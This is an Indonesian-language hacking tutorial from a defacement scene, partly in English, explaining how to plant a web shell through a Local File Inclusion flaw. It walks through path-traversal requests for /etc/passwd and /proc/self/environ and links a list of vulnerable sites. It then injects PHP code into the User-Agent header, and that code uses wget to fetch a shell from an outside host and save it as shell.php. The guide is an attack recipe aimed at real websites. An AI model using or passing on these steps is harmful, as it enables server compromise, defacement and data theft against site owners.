Assalamualaikum Semuanya ... Ketemu lagi dengan saya Rz Exe
kali ini gua akan ngasih tau cara tanem/upload shell dari Local file Inclusion ( LFI ) ( Bahasa Inggris )
Langsung aja yah :
(sedikit tambahan)
ini site list Yg Vuln LFI : http://pastebin.com/wBsMqh5P
1 :: Intro
2 :: Finding LFI
3 :: Checking if proc/self/environ is accessible
4 :: Injecting malicious code
5 :: Access our shell
./ 1 :: Intro
In this guild i will be showing you how to put a shell on website using "Local File Inclusion" vulnerabilities and the injection of malicious code in 'pro/self/environ'
./ 2 :: Finding LFI
Now i will show you how to find a Local File Inclusion vulnerable sites. This will help us find are target quicker.
http://www.targetsite.com/view.php?page=contact.php
- Now we will replace "contact.php" with "../" so the URL will become
http://www.targetsite.com/view.php?page=../
and we got an error
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/targetsite.com/view.php on line 1337
big chances to have a Local File Inclusion vulnerability.Let’s go to next step.
- Now we check for etc/passwd to see the if it is a Local File Inclusion vulnerable. Now try making a request :
http://www.targetsite.com/view.php?page=../../../etc/passwd
we get a error and no etc/passwd file
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/targetsite.com/view.php on line 1337
so we will go more directories up
http://www.targetsite.com/view.php?page=../../../../../etc/passwd
we have succesfully included the etc/passwd file.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
./ 3 :: Checking if proc/self/environ is accessible
- Now we need to see if proc/self/environ is accessible. We would replace etc/passwd with proc/self/environ
www.targetsite.com/view.php?page=../../../../../proc/self/environ
If you end up getting something like this,
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.targetsite.com Port 80
That means, proc/self/environ is accessible. If you are to get a blank page, an error proc/self/environ is not accessible or the OS is FreeBSD.
./ 4 :: Injecting malicious code
- Now we will inject our malicious code in proc/self/environ. The reason we are able to do this, is because, we can inject our code in the user-Agent HTTP header.
Use Tamper Data Addon for Firefox to change the User-Agent. Start Tamper Data in Firefox and request the URL :
http://www.targetsite.com/view.php?page=../../../../../proc/self/environ
Choose Tamper and in User-Agent filed write the following code :
<?system(‘wget http://www.sh3ll.org/egy.txt -O shell.php’);?>
Then submit the request.
Our command will be executed (will download the txt shell from http://www.sh3ll.org/egy.txt and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
./ 5 :: Access our shell
- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
http://www.targetsite.com/shell.php
Dan Taraaaa shell kamu sukses tertanam !!!
Sekian dulu tutor dari saya orang paling ganteng di antara author" dan admin" deface zone maupun di jagad raya ini =))
